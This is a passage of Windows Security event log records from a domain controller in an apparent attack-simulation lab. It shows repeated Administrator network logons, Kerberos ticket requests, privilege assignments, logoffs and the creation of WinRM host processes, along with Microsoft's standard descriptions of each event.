SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257610
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52C346
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257609
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257608
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257607
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257606
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1148
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x94c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257605
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Process Information:
	New Process ID:		0x94c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257604
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257603
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257602
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257601
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257600
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257599
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257598
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BB15

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257597
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257596
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x524A48

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257595
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x528531

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257594
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BB15

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257593
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BB15
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257592
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257591
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257590
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257589
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BAE3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257588
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BAE3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257587
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BAE3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257586
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257585
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{63E940EA-81D6-9F02-A3F6-49A425BF0300}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257584
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257583
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52B7B5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257582
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52A9F2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257581
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5289ED

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257633
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
